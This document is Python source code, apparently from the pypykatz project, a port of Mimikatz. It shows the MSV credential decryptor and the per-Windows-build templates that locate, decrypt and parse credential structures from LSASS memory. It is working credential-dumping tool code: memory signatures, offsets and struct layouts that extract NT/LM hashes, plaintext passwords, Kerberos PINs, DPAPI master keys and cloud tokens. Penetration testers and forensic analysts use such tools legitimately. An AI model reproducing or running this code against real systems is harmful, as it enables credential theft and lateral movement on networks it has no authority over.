219 | t = cred.to_dict() | |
220 | yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']] | |
221 | for cred in self.tspkg_creds: | |
222 | t = cred.to_dict() | |
223 | yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']] | |
224 | ||
225 | def to_grep_rows(self): | |
226 | for cred in self.msv_creds: | |
227 | t = cred.to_dict() | |
228 | yield [ | |
229 | 'msv', | |
230 | self.domainname, | |
231 | self.username, | |
232 | t['NThash'].hex() if t['NThash'] else '', | |
233 | t['LMHash'].hex() if t['LMHash'] else '', | |
234 | t['SHAHash'].hex() if t['SHAHash'] else '', | |
235 | '', | |
236 | '', | |
237 | '', | |
238 | '' | |
239 | ] | |
240 | ||
241 | for package in [self.wdigest_creds, self.ssp_creds, self.livessp_creds, self.credman_creds, self.tspkg_creds]: | |
242 | for cred in package: | |
243 | t = cred.to_dict() | |
244 | if t['password'] is not None: | |
245 | yield [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', '', str(t['password'])] | |
246 | ||
247 | for cred in self.kerberos_creds: | |
248 | t = cred.to_dict() | |
249 | if t['password'] is not None or t['pin'] is not None: | |
250 | pin = '' | |
251 | if t['pin'] is not None: | |
252 | pin = '[PIN]%s' % t['pin'] | |
253 | yield [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', '', pin] | |
254 | if t['password'] is not None: | |
255 | yield [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', '', str(t['password'])] | |
256 | ||
257 | for cred in self.dpapi_creds: | |
258 | t = cred.to_dict() | |
259 | yield [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] | |
260 | ||
261 | for cred in self.cloudap_creds: | |
262 | t = cred.to_dict() | |
263 | #print(t) | |
264 | yield [str(t['credtype']), '', '', '', '', '', str(t['dpapi_key']), str(t['dpapi_key_sha1']), str(t['key_guid']), base64.b64encode(str(t['PRT']).encode()).decode()] | |
265 | ||
266 | ||
267 | ||
268 | ||
269 | ||
270 | class MsvDecryptor(PackageDecryptor): | |
271 | def __init__(self, reader, decryptor_template, lsa_decryptor, credman_template, sysinfo): | |
272 | super().__init__('Msv', lsa_decryptor, sysinfo, reader) | |
273 | self.decryptor_template = decryptor_template | |
274 | self.credman_decryptor_template = credman_template | |
275 | self.entries = [] | |
276 | self.entries_seen = {} | |
277 | self.logon_sessions = {} | |
278 | self.logon_session_count = None | |
279 | ||
280 | self.current_logonsession = None | |
281 | ||
282 | async def find_first_entry(self): | |
283 | #finding signature | |
284 | position = await self.find_signature('lsasrv.dll',self.decryptor_template.signature) | |
285 | ||
286 | #getting logon session count | |
287 | if self.sysinfo.architecture == KatzSystemArchitecture.X64 and self.sysinfo.buildnumber > WindowsMinBuild.WIN_BLUE.value: | |
288 | ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.offset2) | |
289 | await self.reader.move(ptr_entry_loc) | |
290 | t = await self.reader.read(1) | |
291 | self.logon_session_count = int.from_bytes(t, byteorder = 'big', signed = False) | |
292 | else: | |
293 | self.logon_session_count = 1 | |
294 | ||
295 | #getting logon session ptr | |
296 | ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) | |
297 | ptr_entry = await self.reader.get_ptr(ptr_entry_loc) | |
298 | return ptr_entry, ptr_entry_loc | |
299 | ||
300 | async def add_entry(self, entry): | |
301 | self.current_logonsession = await LogonSession.parse(entry, self.reader) | |
302 | if entry.CredentialManager.value != 0: | |
303 | await self.parse_credman_credentials(entry) | |
304 | ||
305 | if entry.Credentials_list_ptr.value != 0: | |
306 | await self.walk_list(entry.Credentials_list_ptr, self.add_credentials) | |
307 | else: | |
308 | self.log('No credentials in this structure!') | |
309 | ||
310 | self.logon_sessions[self.current_logonsession.luid] = self.current_logonsession | |
311 | ||
312 | async def add_credentials(self, primary_credentials_list_entry): | |
313 | await self.walk_list( | |
314 | primary_credentials_list_entry.PrimaryCredentials_ptr, | |
315 | self.add_primary_credentials | |
316 | ) | |
317 | ||
318 | async def parse_credman_credentials(self, logon_session): | |
319 | await self.log_ptr(logon_session.CredentialManager.value, 'KIWI_CREDMAN_SET_LIST_ENTRY') | |
320 | credman_set_list_entry = await logon_session.CredentialManager.read(self.reader, override_finaltype = KIWI_CREDMAN_SET_LIST_ENTRY) | |
321 | await self.log_ptr(credman_set_list_entry.list1.value, 'KIWI_CREDMAN_LIST_STARTER') | |
322 | list_starter = await credman_set_list_entry.list1.read(self.reader, override_finaltype = KIWI_CREDMAN_LIST_STARTER) | |
323 | if list_starter.start.value != list_starter.start.location: | |
324 | await self.walk_list(list_starter.start, self.add_credman_credential, override_ptr = self.credman_decryptor_template.list_entry) | |
325 | ||
326 | async def add_credman_credential(self, credman_credential_entry): | |
327 | ||
328 | c = CredmanCredential() | |
329 | c.username = await credman_credential_entry.user.read_string(self.reader) | |
330 | c.domainname = await credman_credential_entry.server2.read_string(self.reader) | |
331 | ||
332 | if credman_credential_entry.cbEncPassword and credman_credential_entry.cbEncPassword != 0: | |
333 | enc_data = await credman_credential_entry.encPassword.read_raw(self.reader, credman_credential_entry.cbEncPassword) | |
334 | if c.username.endswith('$') is True: | |
335 | c.password = self.decrypt_password(enc_data, bytes_expected=True) | |
336 | if c.password is not None: | |
337 | c.password = c.password.hex() | |
338 | else: | |
339 | c.password = self.decrypt_password(enc_data) | |
340 | ||
341 | c.luid = self.current_logonsession.luid | |
342 | ||
343 | self.current_logonsession.credman_creds.append(c) | |
344 | ||
345 | ||
346 | async def add_primary_credentials(self, primary_credentials_entry): | |
347 | encrypted_credential_data = await primary_credentials_entry.encrypted_credentials.read_data(self.reader) | |
348 | ||
349 | #this is super-strange but sometimes the encrypted data can be empty (seen in forensics images) | |
350 | if not encrypted_credential_data: | |
351 | return | |
352 | ||
353 | self.log('Encrypted credential data \n%s' % hexdump(encrypted_credential_data)) | |
354 | self.log('Decrypting credential structure') | |
355 | dec_data = self.decrypt_password(encrypted_credential_data, bytes_expected = True) | |
356 | self.log('%s: \n%s' % (self.decryptor_template.decrypted_credential_struct.__name__, hexdump(dec_data))) | |
357 | ||
358 | struct_reader = AGenericReader(dec_data, self.sysinfo.architecture) | |
359 | if len(dec_data) == MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC.size and dec_data[4:8] == b'\xcc\xcc\xcc\xcc': | |
360 | creds_struct = await MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC.load(struct_reader) | |
361 | else: | |
362 | creds_struct = await self.decryptor_template.decrypted_credential_struct.load(struct_reader) | |
363 | ||
364 | ||
365 | cred = MsvCredential() | |
366 | ||
367 | if creds_struct.UserName: | |
368 | try: | |
369 | cred.username = await creds_struct.UserName.read_string(struct_reader) | |
370 | except Exception as e: | |
371 | self.log('Failed to get username, reason : %s' % str(e)) | |
372 | if creds_struct.LogonDomainName: | |
373 | try: | |
374 | cred.domainname = await creds_struct.LogonDomainName.read_string(struct_reader) | |
375 | except Exception as e: | |
376 | self.log('Failed to get domainname, reason : %s' % str(e)) | |
377 | ||
378 | ||
379 | if hasattr(creds_struct, 'DPAPIProtected') and creds_struct.DPAPIProtected != b'\x00'*16: | |
380 | cred.DPAPI = creds_struct.DPAPIProtected | |
381 | ||
382 | if hasattr(creds_struct, 'isIso'): | |
383 | cred.isoProt = bool(creds_struct.isIso) | |
384 | # | |
385 | # if cred.isoProt is True: | |
386 | # cred.NThash = None | |
387 | # cred.LMHash = None | |
388 | # cred.SHAHash = None | |
389 | # | |
390 | #else: | |
391 | # cred.NThash = creds_struct.NtOwfPassword | |
392 | # | |
393 | # if creds_struct.LmOwfPassword and creds_struct.LmOwfPassword != b'\x00'*16: | |
394 | # cred.LMHash = creds_struct.LmOwfPassword | |
395 | # cred.SHAHash = creds_struct.ShaOwPassword | |
396 | ||
397 | cred.NThash = creds_struct.NtOwfPassword | |
398 | ||
399 | if creds_struct.LmOwfPassword and creds_struct.LmOwfPassword != b'\x00'*16: | |
400 | cred.LMHash = creds_struct.LmOwfPassword | |
401 | cred.SHAHash = creds_struct.ShaOwPassword | |
402 | ||
403 | self.current_logonsession.msv_creds.append(cred) | |
404 | ||
405 | async def start(self): | |
406 | entry_ptr_value, entry_ptr_loc = await self.find_first_entry() | |
407 | for i in range(self.logon_session_count): | |
408 | await self.reader.move(entry_ptr_loc) | |
409 | for _ in range(i*2): #skipping offset in an architecture-agnostic way | |
410 | await self.reader.read_int() #does nothing just moves the position | |
411 | #self.log('moving to other logon session') | |
412 | ||
413 | entry_ptr = await self.decryptor_template.list_entry.load(self.reader) | |
414 | ||
415 | if entry_ptr.location == entry_ptr.value: | |
416 | # when there are multiple logon sessions (modern windows) there are cases when the | |
417 | # logon session list doesnt exist anymore. worry not, there are multiple of them, | |
418 | # but we need to skip the ones that are empty (eg. pointer points to itself) | |
419 | continue | |
420 | ||
421 | await self.walk_list(entry_ptr, self.add_entry) |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | import io | |
6 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild | |
7 | from pypykatz.alsadecryptor.win_datatypes import BOOLEAN, HANDLE, USHORT, ULONG, LSA_UNICODE_STRING, LSAISO_DATA_BLOB, \ | |
8 | BYTE, PVOID, WORD, DWORD, POINTER, LUID, PSID, ANSI_STRING | |
9 | from pypykatz.alsadecryptor.package_commons import PackageTemplate | |
10 | ||
11 | class MsvTemplate(PackageTemplate): | |
12 | def __init__(self): | |
13 | super().__init__('Msv') | |
14 | ||
15 | self.signature = None | |
16 | self.first_entry_offset = None | |
17 | self.offset2 = None | |
18 | ||
19 | self.list_entry = None | |
20 | self.encrypted_credentials_list_struct = None | |
21 | self.encrypted_credential_struct = None | |
22 | self.decrypted_credential_struct = None | |
23 | ||
24 | @staticmethod | |
25 | def get_template(sysinfo): | |
26 | template = MsvTemplate() | |
27 | template.encrypted_credentials_list_struct = KIWI_MSV1_0_CREDENTIAL_LIST | |
28 | template.log_template('encrypted_credentials_list_struct', template.encrypted_credentials_list_struct) | |
29 | template.encrypted_credential_struct = KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC | |
30 | template.log_template('encrypted_credential_struct', template.encrypted_credential_struct) | |
31 | #identify credential session list structure to be used | |
32 | if sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: | |
33 | template.list_entry = PKIWI_MSV1_0_LIST_51 | |
34 | ||
35 | elif sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: | |
36 | template.list_entry = PKIWI_MSV1_0_LIST_52 | |
37 | ||
38 | elif sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: | |
39 | template.list_entry = PKIWI_MSV1_0_LIST_60 | |
40 | ||
41 | elif sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: | |
42 | #do not do that :) | |
43 | if sysinfo.msv_dll_timestamp > 0x53480000: | |
44 | template.list_entry = PKIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ | |
45 | else: | |
46 | template.list_entry = PKIWI_MSV1_0_LIST_61 | |
47 | ||
48 | elif sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: | |
49 | #template.list_entry = PKIWI_MSV1_0_LIST_62 | |
50 | if sysinfo.msv_dll_timestamp > 0x53480000: | |
51 | template.list_entry = PKIWI_MSV1_0_LIST_63 | |
52 | else: | |
53 | template.list_entry = PKIWI_MSV1_0_LIST_62 | |
54 | ||
55 | else: | |
56 | template.list_entry = PKIWI_MSV1_0_LIST_63 | |
57 | ||
58 | template.log_template('list_entry', template.list_entry) | |
59 | if sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: | |
60 | template.decrypted_credential_struct = MSV1_0_PRIMARY_CREDENTIAL_DEC | |
61 | elif sysinfo.buildnumber < WindowsBuild.WIN_10_1511.value: | |
62 | template.decrypted_credential_struct = MSV1_0_PRIMARY_CREDENTIAL_10_OLD_DEC | |
63 | elif sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value: | |
64 | template.decrypted_credential_struct = MSV1_0_PRIMARY_CREDENTIAL_10_DEC | |
65 | else: | |
66 | template.decrypted_credential_struct = MSV1_0_PRIMARY_CREDENTIAL_10_1607_DEC | |
67 | ||
68 | template.log_template('decrypted_credential_struct', template.decrypted_credential_struct) | |
69 | ||
70 | if sysinfo.architecture == KatzSystemArchitecture.X64: | |
71 | if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: | |
72 | template.signature = b'\x4c\x8b\xdf\x49\xc1\xe3\x04\x48\x8b\xcb\x4c\x03\xd8' | |
73 | template.first_entry_offset = -4 | |
74 | template.offset2 = 0 | |
75 | ||
76 | elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: | |
77 | template.signature = b'\x4c\x8b\xdf\x49\xc1\xe3\x04\x48\x8b\xcb\x4c\x03\xd8' | |
78 | template.first_entry_offset = -4 | |
79 | template.offset2 = -45 | |
80 | ||
81 | elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: | |
82 | template.signature = b'\x33\xff\x45\x85\xc0\x41\x89\x75\x00\x4c\x8b\xe3\x0f\x84' | |
83 | template.first_entry_offset = 21#-4 | |
84 | template.offset2 = -4 | |
85 | ||
86 | elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: | |
87 | template.signature = b'\x33\xf6\x45\x89\x2f\x4c\x8b\xf3\x85\xff\x0f\x84' | |
88 | template.first_entry_offset = 19 | |
89 | template.offset2 = -4 | |
90 | ||
91 | elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: | |
92 | template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74' | |
93 | template.first_entry_offset = 16 | |
94 | template.offset2 = -4 | |
95 | ||
96 | elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: | |
97 | template.signature = b'\x8b\xde\x48\x8d\x0c\x5b\x48\xc1\xe1\x05\x48\x8d\x05' | |
98 | template.first_entry_offset = 36 | |
99 | template.offset2 = -6 | |
100 | ||
101 | elif WindowsBuild.WIN_10_1507.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1703.value: | |
102 | #1503 and 1603 | |
103 | template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74' | |
104 | template.first_entry_offset = 16 | |
105 | template.offset2 = -4 | |
106 | ||
107 | elif WindowsBuild.WIN_10_1703.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1803.value: | |
108 | #1703 | |
109 | template.signature = b'\x33\xff\x45\x89\x37\x48\x8b\xf3\x45\x85\xc9\x74' | |
110 | template.first_entry_offset = 23 | |
111 | template.offset2 = -4 | |
112 | ||
113 | elif WindowsBuild.WIN_10_1803.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1903.value: | |
114 | #1803 | |
115 | template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc9\x74' | |
116 | template.first_entry_offset = 23 | |
117 | template.offset2 = -4 | |
118 | ||
119 | else: | |
120 | #1903 | |
121 | template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74' | |
122 | template.first_entry_offset = 23 | |
123 | template.offset2 = -4 | |
124 | ||
125 | elif sysinfo.architecture == KatzSystemArchitecture.X86: | |
126 | if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: | |
127 | template.signature = b'\xff\x50\x10\x85\xc0\x0f\x84' | |
128 | template.first_entry_offset = 24 | |
129 | template.offset2 = 0 | |
130 | ||
131 | ||
132 | elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: | |
133 | template.signature = b'\x89\x71\x04\x89\x30\x8d\x04\xbd' | |
134 | template.first_entry_offset = -11 | |
135 | template.offset2 = -43 | |
136 | ||
137 | ||
138 | elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: | |
139 | template.signature = b'\x89\x71\x04\x89\x30\x8d\x04\xbd' | |
140 | template.first_entry_offset = -11 | |
141 | template.offset2 = -42 | |
142 | ||
143 | elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: | |
144 | template.signature = b'\x8b\x45\xf8\x8b\x55\x08\x8b\xde\x89\x02\x89\x5d\xf0\x85\xc9\x74' | |
145 | template.first_entry_offset = 18 | |
146 | template.offset2 = -4 | |
147 | ||
148 | elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: | |
149 | template.signature = b'\x8b\x4d\xe4\x8b\x45\xf4\x89\x75\xe8\x89\x01\x85\xff\x74' | |
150 | template.first_entry_offset = 16 | |
151 | template.offset2 = -4 | |
152 | ||
153 | elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1507.value: | |
154 | template.signature = b'\x8b\x4d\xe8\x8b\x45\xf4\x89\x75\xec\x89\x01\x85\xff\x74' | |
155 | template.first_entry_offset = 16 | |
156 | template.offset2 = -4 | |
157 | else: | |
158 | raise Exception('Could not identify template! sysinfo.buildnumber: %d' % sysinfo.buildnumber) | |
159 | ||
160 | else: | |
161 | raise Exception('Unknown Architecture: %s , Build number %s' % (sysinfo.architecture, sysinfo.buildnumber)) | |
162 | ||
163 | ||
164 | return template | |
165 | ||
166 | ||
167 | class MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC: | |
168 | #this structure doesnt have username nor domainname, but has credentials :S | |
169 | #starts with | |
170 | size = 0x60 | |
171 | def __init__(self): | |
172 | self.unk1 = None | |
173 | self.unk2 = None | |
174 | self.unk_tag = None | |
175 | self.unk_remaining_size = None | |
176 | self.LengthOfNtOwfPassword = None | |
177 | self.NtOwfPassword = None | |
178 | self.LengthOfShaOwfPassword = None | |
179 | self.ShaOwPassword = None | |
180 | ||
181 | self.LogonDomainName = None | |
182 | self.UserName = None | |
183 | self.LmOwfPassword = None | |
184 | self.isNtOwfPassword = None | |
185 | self.isLmOwfPassword = None | |
186 | self.isShaOwPassword = None | |
187 | ||
188 | @staticmethod | |
189 | async def load(reader): | |
190 | res = MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC() | |
191 | res.unk1 = await USHORT.loadvalue(reader) | |
192 | res.unk2 = await USHORT.loadvalue(reader) | |
193 | res.unk_tag = await reader.read(4) #0xcccccc | |
194 | res.unk_remaining_size = await ULONG.loadvalue(reader) | |
195 | await reader.read(40) | |
196 | res.LengthOfNtOwfPassword = await ULONG.loadvalue(reader) | |
197 | res.NtOwfPassword = await reader.read(16) | |
198 | res.LengthOfShaOwfPassword = await ULONG.loadvalue(reader) | |
199 | res.ShaOwPassword = await reader.read(20) | |
200 | ||
201 | res.LogonDomainName = None | |
202 | res.UserName = None | |
203 | res.LmOwfPassword = None | |
204 | res.isNtOwfPassword = None | |
205 | res.isLmOwfPassword = None | |
206 | res.isShaOwPassword = None | |
207 | return res | |
208 | ||
209 | class MSV1_0_PRIMARY_CREDENTIAL_DEC: | |
210 | def __init__(self): | |
211 | self.LogonDomainName = None | |
212 | self.UserName = None | |
213 | self.NtOwfPassword = None | |
214 | self.LmOwfPassword = None | |
215 | self.ShaOwPassword = None | |
216 | self.isNtOwfPassword = None | |
217 | self.isLmOwfPassword = None | |
218 | self.isShaOwPassword = None | |
219 | ||
220 | @staticmethod | |
221 | async def load(reader): | |
222 | res = MSV1_0_PRIMARY_CREDENTIAL_DEC() | |
223 | res.LogonDomainName = await LSA_UNICODE_STRING.load(reader) | |
224 | res.UserName = await LSA_UNICODE_STRING.load(reader) | |
225 | res.NtOwfPassword = await reader.read(16) | |
226 | res.LmOwfPassword = await reader.read(16) | |
227 | res.ShaOwPassword = await reader.read(20) | |
228 | res.isNtOwfPassword = await BOOLEAN.loadvalue(reader) | |
229 | res.isLmOwfPassword = await BOOLEAN.loadvalue(reader) | |
230 | res.isShaOwPassword = await BOOLEAN.loadvalue(reader) | |
231 | return res | |
232 | ||
233 | class MSV1_0_PRIMARY_CREDENTIAL_10_OLD_DEC: | |
234 | def __init__(self): | |
235 | self.LogonDomainName = None | |
236 | self.UserName = None | |
237 | self.isIso = None | |
238 | self.isNtOwfPassword = None | |
239 | self.isLmOwfPassword = None | |
240 | self.isShaOwPassword = None | |
241 | self.align0 = None | |
242 | self.align1 = None | |
243 | self.NtOwfPassword = None | |
244 | self.LmOwfPassword = None | |
245 | self.ShaOwPassword = None | |
246 | ||
247 | @staticmethod | |
248 | async def load(reader): | |
249 | res = MSV1_0_PRIMARY_CREDENTIAL_10_OLD_DEC() | |
250 | res.LogonDomainName = await LSA_UNICODE_STRING.load(reader) | |
251 | res.UserName = await LSA_UNICODE_STRING.load(reader) | |
252 | res.isIso = await BOOLEAN.loadvalue(reader) | |
253 | res.isNtOwfPassword = await BOOLEAN.loadvalue(reader) | |
254 | res.isLmOwfPassword = await BOOLEAN.loadvalue(reader) | |
255 | res.isShaOwPassword = await BOOLEAN.loadvalue(reader) | |
256 | res.align0 = await BYTE.loadvalue(reader) | |
257 | res.align1 = await BYTE.loadvalue(reader) | |
258 | res.NtOwfPassword = await reader.read(16) | |
259 | res.LmOwfPassword = await reader.read(16) | |
260 | res.ShaOwPassword = await reader.read(20) | |
261 | return res | |
262 | ||
263 | class MSV1_0_PRIMARY_CREDENTIAL_10_DEC: | |
264 | def __init__(self): | |
265 | self.LogonDomainName = None | |
266 | self.UserName = None | |
267 | self.isIso = None | |
268 | self.isNtOwfPassword = None | |
269 | self.isLmOwfPassword = None | |
270 | self.isShaOwPassword = None | |
271 | self.align0 = None | |
272 | self.align1 = None | |
273 | self.align2 = None | |
274 | self.align3 = None | |
275 | self.NtOwfPassword = None | |
276 | self.LmOwfPassword = None | |
277 | self.ShaOwPassword = None | |
278 | ||
279 | @staticmethod | |
280 | async def load(reader): | |
281 | res = MSV1_0_PRIMARY_CREDENTIAL_10_DEC() | |
282 | res.LogonDomainName = await LSA_UNICODE_STRING.load(reader) | |
283 | res.UserName = await LSA_UNICODE_STRING.load(reader) | |
284 | res.isIso = await BOOLEAN.loadvalue(reader) | |
285 | res.isNtOwfPassword = await BOOLEAN.loadvalue(reader) | |
286 | res.isLmOwfPassword = await BOOLEAN.loadvalue(reader) | |
287 | res.isShaOwPassword = await BOOLEAN.loadvalue(reader) | |
288 | res.align0 = await BYTE.loadvalue(reader) | |
289 | res.align1 = await BYTE.loadvalue(reader) | |
290 | res.align2 = await BYTE.loadvalue(reader) | |
291 | res.align3 = await BYTE.loadvalue(reader) | |
292 | res.NtOwfPassword = await reader.read(16) | |
293 | res.LmOwfPassword = await reader.read(16) | |
294 | res.ShaOwPassword = await reader.read(20) | |
295 | return res | |
296 | ||
297 | class MSV1_0_PRIMARY_CREDENTIAL_10_1607_DEC: | |
298 | def __init__(self): | |
299 | self.LogonDomainName = None | |
300 | self.UserName = None | |
301 | self.pNtlmCredIsoInProc = None | |
302 | self.isIso = None | |
303 | self.isNtOwfPassword = None | |
304 | self.isLmOwfPassword = None | |
305 | self.isShaOwPassword = None | |
306 | self.isDPAPIProtected = None | |
307 | self.align0 = None | |
308 | self.align1 = None | |
309 | self.align2 = None | |
310 | self.unkD = None | |
311 | # stuff to be done! #pragma pack(push, 2) | |
312 | self.isoSize = None | |
313 | self.DPAPIProtected = None | |
314 | self.align3 = None | |
315 | # stuff to be done! #pragma pack(pop) | |
316 | self.NtOwfPassword = None | |
317 | self.LmOwfPassword = None | |
318 | self.ShaOwPassword = None | |
319 | ||
320 | @staticmethod | |
321 | async def load(reader): | |
322 | res = MSV1_0_PRIMARY_CREDENTIAL_10_1607_DEC() | |
323 | res.LogonDomainName = await LSA_UNICODE_STRING.load(reader) | |
324 | res.UserName = await LSA_UNICODE_STRING.load(reader) | |
325 | res.pNtlmCredIsoInProc = await PVOID.loadvalue(reader) | |
326 | res.isIso = await BOOLEAN.loadvalue(reader) | |
327 | res.isNtOwfPassword = await BOOLEAN.loadvalue(reader) | |
328 | res.isLmOwfPassword = await BOOLEAN.loadvalue(reader) | |
329 | res.isShaOwPassword = await BOOLEAN.loadvalue(reader) | |
330 | res.isDPAPIProtected = await BOOLEAN.loadvalue(reader) | |
331 | res.align0 = await BYTE.loadvalue(reader) | |
332 | res.align1 = await BYTE.loadvalue(reader) | |
333 | res.align2 = await BYTE.loadvalue(reader) | |
334 | res.unkD = await DWORD.loadvalue(reader) # // 1/2 | |
335 | # stuff to be done! #pragma pack(push, 2) | |
336 | res.isoSize = await WORD.loadvalue(reader) #// 0000 | |
337 | res.DPAPIProtected = await reader.read(16) | |
338 | res.align3 = await DWORD.loadvalue(reader) #// 00000000 | |
339 | # stuff to be done! #pragma pack(pop) | |
340 | res.NtOwfPassword = await reader.read(16) | |
341 | res.LmOwfPassword = await reader.read(16) | |
342 | res.ShaOwPassword = await reader.read(20) | |
343 | return res | |
344 | ||
345 | class KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC: | |
346 | def __init__(self): | |
347 | self.Flink = None | |
348 | self.Primary = None | |
349 | self.encrypted_credentials = None | |
350 | ||
351 | @staticmethod | |
352 | async def load(reader): | |
353 | res = KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC() | |
354 | res.Flink = await PKIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC.load(reader) | |
355 | res.Primary = await ANSI_STRING.load(reader) | |
356 | await reader.align() | |
357 | res.encrypted_credentials = await LSA_UNICODE_STRING.load(reader) | |
358 | return res | |
359 | ||
360 | class PKIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC(POINTER): | |
361 | def __init__(self): | |
362 | super().__init__() | |
363 | ||
364 | @staticmethod | |
365 | async def load(reader): | |
366 | p = PKIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC() | |
367 | p.location = reader.tell() | |
368 | p.value = await reader.read_uint() | |
369 | p.finaltype = KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC | |
370 | return p | |
371 | ||
372 | #class PKIWI_MSV1_0_CREDENTIAL_LIST(POINTER): | |
373 | # def __init__(self, reader): | |
374 | # super().__init__(reader, PKIWI_MSV1_0_CREDENTIAL_LIST) | |
375 | ||
376 | class KIWI_MSV1_0_CREDENTIAL_LIST: | |
377 | def __init__(self): | |
378 | self.Flink = None | |
379 | self.AuthenticationPackageId = None | |
380 | self.PrimaryCredentials_ptr = None | |
381 | ||
382 | @staticmethod | |
383 | async def load(reader): | |
384 | res = KIWI_MSV1_0_CREDENTIAL_LIST() | |
385 | res.Flink = await PKIWI_MSV1_0_CREDENTIAL_LIST.load(reader) | |
386 | res.AuthenticationPackageId = await DWORD.loadvalue(reader) | |
387 | await reader.align() | |
388 | res.PrimaryCredentials_ptr = await PKIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC.load(reader) | |
389 | return res | |
390 | ||
391 | ||
392 | class PKIWI_MSV1_0_CREDENTIAL_LIST(POINTER): | |
393 | def __init__(self): | |
394 | super().__init__() | |
395 | ||
396 | @staticmethod | |
397 | async def load(reader): | |
398 | p = PKIWI_MSV1_0_CREDENTIAL_LIST() | |
399 | p.location = reader.tell() | |
400 | p.value = await reader.read_uint() | |
401 | p.finaltype = KIWI_MSV1_0_CREDENTIAL_LIST | |
402 | return p | |
403 | ||
404 | class PKIWI_MSV1_0_LIST_51(POINTER): | |
405 | def __init__(self): | |
406 | super().__init__() | |
407 | ||
408 | @staticmethod | |
409 | async def load(reader): | |
410 | p = PKIWI_MSV1_0_LIST_51() | |
411 | p.location = reader.tell() | |
412 | p.value = await reader.read_uint() | |
413 | p.finaltype = KIWI_MSV1_0_LIST_51 | |
414 | return p | |
415 | ||
416 | class KIWI_MSV1_0_LIST_51: | |
417 | def __init__(self): | |
418 | self.Flink = None | |
419 | self.Blink = None | |
420 | self.LocallyUniqueIdentifier = None | |
421 | self.UserName = None | |
422 | self.Domaine = None | |
423 | self.unk0 = None | |
424 | self.unk1 = None | |
425 | self.pSid = None | |
426 | self.LogonType = None | |
427 | self.Session = None | |
428 | self.LogonTime = None | |
429 | self.LogonServer = None | |
430 | self.Credentials_list_ptr = None | |
431 | self.unk19 = None | |
432 | self.unk20 = None | |
433 | self.unk21 = None | |
434 | self.unk22 = None | |
435 | self.unk23 = None | |
436 | self.CredentialManager = None | |
437 | ||
438 | @staticmethod | |
439 | async def load(reader): | |
440 | res = KIWI_MSV1_0_LIST_51() | |
441 | res.Flink = await PKIWI_MSV1_0_LIST_51.load(reader) | |
442 | res.Blink = await PKIWI_MSV1_0_LIST_51.load(reader) | |
443 | res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) | |
444 | res.UserName = await LSA_UNICODE_STRING.load(reader) | |
445 | res.Domaine = await LSA_UNICODE_STRING.load(reader) | |
446 | res.unk0 = await PVOID.loadvalue(reader) | |
447 | res.unk1 = await PVOID.loadvalue(reader) | |
448 | res.pSid = await PSID.load(reader) | |
449 | res.LogonType = await ULONG.loadvalue(reader) | |
450 | res.Session = await ULONG.loadvalue(reader) | |
451 | await reader.align(8) | |
452 | t = t = await reader.read(8) | |
453 | res.LogonTime = int.from_bytes(t, byteorder = 'little', signed = False) #autoalign x86 | |
454 | await reader.align() | |
455 | res.LogonServer = await LSA_UNICODE_STRING.load(reader) | |
